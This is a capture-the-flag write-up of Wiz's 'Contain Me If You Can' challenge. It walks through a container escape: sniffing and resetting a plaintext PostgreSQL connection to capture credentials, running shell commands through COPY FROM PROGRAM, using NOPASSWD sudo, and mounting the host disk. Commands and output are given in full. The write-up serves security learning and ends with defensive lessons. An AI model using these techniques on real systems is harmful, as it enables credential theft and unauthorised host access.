Skip to content

WriteUp: Cloud Security Championship #2 - Contain Me If You Can

The second challenge of the Cloud Security Championship organized by Wiz is called Contain Me If You Can. This time we need to escape from a containerized environment to retrieve the flag located at /flag on the host's filesystem.

Contain Me If You Can Cloud Security Championship #2

Initial Reconnaissance

We start inside a container with a simple goal: escape to the host and grab the flag at /flag. Time for some enumeration to understand what we're dealing with and find potential attack vectors.

Filesystem Analysis

Let's see what filesystems are mounted:

root@220705be2476:/# mount | head -10
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ALDXLW3XXQASE5RFYLV4J3P5SI:/var/lib/docker/overlay2/l/PUDUWBLOUV4KDA226EAPOCLY7U:/var/lib/docker/overlay2/l/DADW4QRM2QMV7JYQKZLCFHSXW3:/var/lib/docker/overlay2/l/FJGPNHG4APZTCSAAQUZTLVUW2O,upperdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/diff,workdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/vdb on /etc/resolv.conf type ext4 (rw,relatime)
/dev/vdb on /etc/hostname type ext4 (rw,relatime)

The overlayfs root filesystem shows absolute host paths in the lowerdir (look at those /var/lib/docker/overlay2/... paths), which tells us where the host's Docker storage is. The /dev/vdb mounts for config files also hint at some block device access.

Can we access the host's Docker storage directly?

root@220705be2476:/# ls -l /var/lib/docker
ls: cannot access '/var/lib/docker': No such file or directory

Nope. Even though the mount output shows host Docker paths, they're not directly accessible from our container's root filesystem.

Block Device Analysis

root@220705be2476:/# lsblk
NAME
    MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
vda 254:0    0 135.4M  1 disk
vdb 254:16   0     1G  0 disk /etc/hosts
                              /etc/hostname
                              /etc/resolv.conf
root@220705be2476:/# ls -l /dev/ | grep -E "(vd|sd)"
# No traditional block devices visible in /dev

So lsblk shows vda and vdb block devices, but the container's /dev directory has a restricted view with no direct access to them. Typical container isolation at work.

Process and Namespace Analysis

root@220705be2476:/# ls /proc/1/root/
bin                dev   lib    mnt   root  sbin.usr-is-merged  tmp
bin.usr-is-merged  etc   lib64  opt   run   srv                 usr
boot               home  media  proc  sbin  sys                 var

This looks promising! But wait, let's check more carefully:

root@220705be2476:/# ls -la /proc/1/root/ | grep docker
-rwxr-xr-x   1 root root    0 Aug 15 13:57 .dockerenv

Ah, there's the .dockerenv file! This confirms that /proc/1/root is actually the container's own root filesystem, not the host's. So we've got proper PID namespace isolation going on here.

Capability Assessment

Time to test the usual container escape techniques:

root@220705be2476:/# mount /dev/sda1 /mnt/host
mount: /mnt/host: mount point is not a directory.
       dmesg(1) may have more information after failed mount system call.

root@220705be2476:/# nsenter --mount=/proc/1/ns/mnt sh
nsenter: reassociate to namespace 'ns/mnt' failed: Operation not permitted

root@220705be2476:/# unshare -U -m
unshare: unshare failed: Operation not permitted

All these failures tell us the container is missing CAP_SYS_ADMIN, which blocks:

  • Direct host filesystem mounting
  • Namespace manipulation via nsenter
  • User namespace creation for OverlayFS exploits

What Didn't Work

After trying pretty much everything, these attack vectors were ruled out:

  • Direct host access via /var/lib/docker paths
  • Process namespace escape via /proc/<pid>/root (due to PID isolation)
  • Kernel exploits like CVE-2023-0386 (missing CAP_SYS_ADMIN for unshare)
  • Docker socket exploitation (socket not present in container)
  • Common bind mounts (/host, /mnt, /rootfs were empty or non-existent)
  • Core pattern exploitation (permission denied for writing to /proc/sys/kernel/core_pattern)

The container seems properly locked down with standard security restrictions. Time to try other things...

Network Discovery: The Hidden Connection

Is there something else in the network?

root@220705be2476:/# netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.11:35211        0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 172.19.0.3:44608        172.19.0.2:5432         ESTABLISHED -                    keepalive (0.00/0/0)
udp        0      0 127.0.0.11:50366        0.0.0.0:*                           -                    off (0.00/0/0)

Bingo! There's an established PostgreSQL connection to 172.19.0.2:5432. Let's see what's going on there.

Credential Extraction via Traffic Manipulation

Let's start sniffing the traffic:

root@220705be2476:/# tcpdump -i any -A -s 0 host 172.19.0.2 and port 5432
Initial Traffic Monitoring
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:19:22.004946 eth0  Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [P.], seq 2033206922:2033206941, ack 810919157, win 501, options [nop,nop,TS val 3447785403 ecr 4207817494], length 19
E..G|.@...&[email protected].....
......3.Q....SELECT now();.
15:19:22.005470 eth0  In  IP postgres_db.user_db_network.postgresql > 220705be2476.44608: Flags [P.], seq 1:90, ack 19, win 509, options [nop,nop,TS val 4207822260 ecr 3447785403], length 89
E....^@[email protected]......
..E.....T......now...................D...'......2025-08-15 15:19:22.005312+00C....SELECT 1.Z....I
15:19:22.005481 eth0  Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [.], ack 90, win 501, options [nop,nop,TS val 3447785403 ecr 4207822260], length 0
E..4|.@...&[email protected].....
......E.
^C
3 packets captured
3 packets received by filter
0 packets dropped by kernel

We can see continuous SELECT now(); queries, so there's definitely an active authenticated session. Could that be in plain text? Time to kill the connection and try to catch the password during reconnection:

root@220705be2476:/# tcpkill -i any host 172.19.0.2 and port 5432
Connection Termination
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
tcpkill: listening on any [host 172.19.0.2 and port 5432]
172.19.0.3:44608 > 172.19.0.2:5432: R 810920190:810920190(0) win 0
172.19.0.3:44608 > 172.19.0.2:5432: R 810921192:810921192(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033207545:2033207545(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033208563:2033208563(0) win 0


172.19.0.3:50076 > 172.19.0.2:5432: R 1922576238:1922576238(0) win 0
172.19.0.3:50076 > 172.19.0.2:5432: R 1922576740:1922576740(0) win 0

With tcpdump running in the background, we caught the plain-text authentication during reconnection:

Authentication Capture
...........=....user.user.database.mydatabase.application_name.psql..
15:21:07.016965 eth0  In  IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 2:11, ack 70, win 509, options [nop,nop,TS val 4207927272 ecr 3447890414], length 9
[email protected]./oW.......X[.....
........R........
15:21:07.016988 eth0  Out IP 220705be2476.50076 > postgres_db.user_db_network.postgresql: Flags [P.], seq 70:100, ack 11, win 502, options [nop,nop,TS val 3447890415 ecr 4207927272], length 30
[email protected]#...........8W...r./x....Xp.....
........p....[REDACTED PASSWORD].
15:21:07.027202 eth0  In  IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 11:418, ack 100, win 509, options [nop,nop,TS val 4207927282 ecr 3447890415], length 407
[email protected]./xW.......Y......
........R........S....in_hot_standby.off.S....integer_datetimes.on.S....TimeZone.UTC.S....IntervalStyle.postgres.S....is_superuser.on.S....application_name.psql.S...&default_transaction_read_only.off.S....scram_iterations.4096.S....DateStyle.ISO, MDY.S...#standard_conforming_strings.on.S....session_authorization.user.S....client_encoding.UTF8.S....server_version.16.8.S....server_encoding.UTF8.K..........6.Z....I

Perfect! We got the database credentials:

  • Username: user
  • Password: [REDACTED PASSWORD]
  • Database: mydatabase

PostgreSQL Access and Lateral Movement

Now we can connect directly to the PostgreSQL server:

root@220705be2476:/# psql -h 172.19.0.2 -U user -d mydatabase
Password for user user:
psql (16.9 (Ubuntu 16.9-0ubuntu0.24.04.1), server 16.8)
Type "help" for help.

mydatabase=# SELECT current_user;
 current_user
--------------
 user
(1 row)

Initial File Access Attempts

First instinct: can we just read the flag directly? Because why not πŸ€·β€β™‚οΈ

mydatabase=# SELECT pg_read_file('/flag', 0, 200);
ERROR:  could not open file "/flag" for reading: No such file or directory

Nope. The PostgreSQL server is also containerized and can't see the host's /flag file. We've just moved from one container to another... πŸ€¦β€β™‚οΈ

Command Execution via COPY FROM PROGRAM

Time to leverage PostgreSQL's COPY ... FROM PROGRAM for some arbitrary command execution:

mydatabase=# CREATE TEMP TABLE output (line text);
COPY output FROM PROGRAM 'whoami && id';
SELECT * FROM output;
DROP TABLE output;
CREATE TABLE
COPY 2
                              line
-----------------------------------------------------------------
 postgres
 uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)
(2 rows)

DROP TABLE

Sweet! We're now executing commands as the postgres user within the PostgreSQL container.

Privilege Escalation: The NOPASSWD Sudo Configuration

Let's check what SUID binaries are available:

mydatabase=# CREATE TEMP TABLE suid_check (line text);
COPY suid_check FROM PROGRAM 'find / -perm -4000 2>/dev/null | grep sudo';
SELECT * FROM suid_check;
DROP TABLE suid_check;

CREATE TABLE
COPY 1
     line
---------------
 /usr/bin/sudo
(1 row)

DROP TABLE
CREATE TABLE
COPY 1
        line
--------------
    /usr/bin/sudo
(1 row)

DROP TABLE

Nice! sudo is available. Let's see what we can do with it:

mydatabase=# CREATE TEMP TABLE sudo_check (line text);
COPY sudo_check FROM PROGRAM 'sudo -l';
SELECT * FROM sudo_check;
DROP TABLE sudo_check;
CREATE TABLE
COPY 8
                                     line
------------------------------------------------------------------------------
 Matching Defaults entries for postgres on 032c93ff87db:
     secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

 Runas and Command-specific defaults for postgres:
     Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

 User postgres may run the following commands on 032c93ff87db:
     (ALL) NOPASSWD: ALL
(8 rows)

DROP TABLE

Jackpot!! 🎰🎰🎰

Sorry, we just came from our DEFCON workshop in Las Vegas πŸ˜…

The postgres user can run any command as root without a password. That's a serious misconfiguration that just gave us root inside the PostgreSQL container.

Container Escape: From Database to Host

Now that we have root access inside the PostgreSQL container, it's time to break out to the host. But first, let's confirm we can access the host's init process:

Identifying the Host Process

mydatabase=# CREATE TEMP TABLE host_check (line text);
COPY host_check FROM PROGRAM 'sudo fuser -m /';
SELECT * FROM host_check;
DROP TABLE host_check;
CREATE TABLE
COPY 1
               line
----------------------------------
 1 14 15 17 18 19 3346 3634 4262
(1 row)

DROP TABLE

Perfect! We can see several PIDs including PID 1, confirming we have visibility into the host's processes. This indicates we can execute commands that will have access to the host's resources and namespaces.

Host Disk Discovery

Let's see how the host's disk layout looks like:

mydatabase=# CREATE TEMP TABLE disk_check (line text);
COPY disk_check FROM PROGRAM 'sudo fdisk -l';
SELECT * FROM disk_check;
DROP TABLE disk_check;
CREATE TABLE
COPY 10
                           line
-----------------------------------------------------------
 Disk /dev/vda: 135 MB, 141975552 bytes, 277296 sectors
 135 cylinders, 64 heads, 32 sectors/track
 Units: sectors of 1 * 512 = 512 bytes

 Disk /dev/vda doesn't contain a valid partition table
 Disk /dev/vdb: 1024 MB, 1073741824 bytes, 2097152 sectors
 1024 cylinders, 64 heads, 32 sectors/track
 Units: sectors of 1 * 512 = 512 bytes

 Disk /dev/vdb doesn't contain a valid partition table
(10 rows)

DROP TABLE

The host has two disks: /dev/vda (135 MB) and /dev/vdb (1024 MB). Since /dev/vdb is used for ephemeral config files, /dev/vda is probably our target.

Direct Disk Mounting

Now we can execute commands directly with host-level privileges and mount the primary disk:

mydatabase=# CREATE TEMP TABLE mount_ops (line text);
COPY mount_ops FROM PROGRAM 'sudo mkdir -p /mnt/host_root_disk';
COPY mount_ops FROM PROGRAM 'sudo mount /dev/vda /mnt/host_root_disk';
DROP TABLE mount_ops;
CREATE TABLE
COPY 0
(0 rows)

DROP TABLE

Flag Retrieval

Time for the moment of truth! Let's see what's on the host's disk:

mydatabase=# CREATE TEMP TABLE flag_search (line text);
COPY flag_search FROM PROGRAM 'sudo ls -la /mnt/host_root_disk';
SELECT * FROM flag_search;
DROP TABLE flag_search;
CREATE TABLE
COPY 28
                                     line
-------------------------------------------------------------------------------
 total 5
 drwxr-xr-x   20 root     root           352 Jul 31 15:25 .
 drwxr-xr-x    1 root     root          4096 Aug 15 15:45 ..
 lrwxrwxrwx    1 root     root             7 Jul 31 10:49 bin -> usr/bin
 drwxr-xr-x    2 root     root             3 Apr 18  2022 boot
 drwxr-xr-x    4 root     root           191 Apr 18  2022 dev
 drwxr-xr-x   36 root     root          1420 Jul 31 10:49 etc
 -rw-r--r--    1 root     root            52 Jul 31 10:47 flag
 drwxr-xr-x    3 root     root            27 Jul 31 10:49 home
 lrwxrwxrwx    1 root     root             7 Jul 31 10:49 lib -> usr/lib
 lrwxrwxrwx    1 root     root             9 Jul 31 10:49 lib32 -> usr/lib32
 lrwxrwxrwx    1 root     root             9 Jul 31 10:49 lib64 -> usr/lib64
 lrwxrwxrwx    1 root     root            10 Jul 31 10:49 libx32 -> usr/libx32
 drwx------    2 root     root             3 Jul 31 15:24 lost+found
 drwxr-xr-x    2 root     root             3 Jul 31 10:49 media
 drwxr-xr-x    2 root     root             3 Jul 31 10:49 mnt
 drwxr-xr-x    3 root     root            33 Jul 31 15:25 opt
 drwxr-xr-x    4 root     root            39 Jul 31 15:25 overlay
 drwxr-xr-x    2 root     root             3 Apr 18  2022 proc
 drwxr-xr-x    2 root     root             3 Jul 31 15:25 rom
 drwx------    2 root     root            46 Jul 31 10:49 root
DROP TABLE

There it is! The flag file. Let's grab it:

mydatabase=# CREATE TEMP TABLE flag_content (line text);
COPY flag_content FROM PROGRAM 'sudo cat /mnt/host_root_disk/flag';
SELECT * FROM flag_content;
DROP TABLE flag_content;
CREATE TABLE
COPY 1
                        line
-----------------------------------------------------
 WIZ_CTF{[REDACTED FLAG]}
(1 row)

DROP TABLE

And there we have it! πŸš€

Summary

This container escape worked through a multi-stage attack chain:

Stage 1: Network Reconnaissance

  • Discovery of active PostgreSQL connection via netstat
  • Traffic sniffing to capture credentials

Stage 2: Lateral Movement

  • PostgreSQL access using captured credentials
  • Command execution via COPY FROM PROGRAM
  • Discovery of sudo NOPASSWD misconfiguration

Stage 3: Privilege Escalation

  • Root access within PostgreSQL container
  • Identification of host's init process (PID 1)
  • Direct command execution with host-level access

Stage 4: Host Access

  • Host disk discovery using direct command execution
  • Direct mounting of host's primary disk
  • Flag retrieval from mounted host filesystem

Conclusion

This challenge shows how containers that look isolated can actually become stepping stones in attack chains. Network reconnaissance led to database access, which led to privilege escalation, which led to container escape and finally host access.

The key takeaway? Defense in depth matters. Any single fix could have broken this entire chain: encrypted database connections, proper sudo configs, or better container isolation.

But luckily, this was a CTF challenge and we got the flag! πŸ˜„

Saludos, and may the force be with you.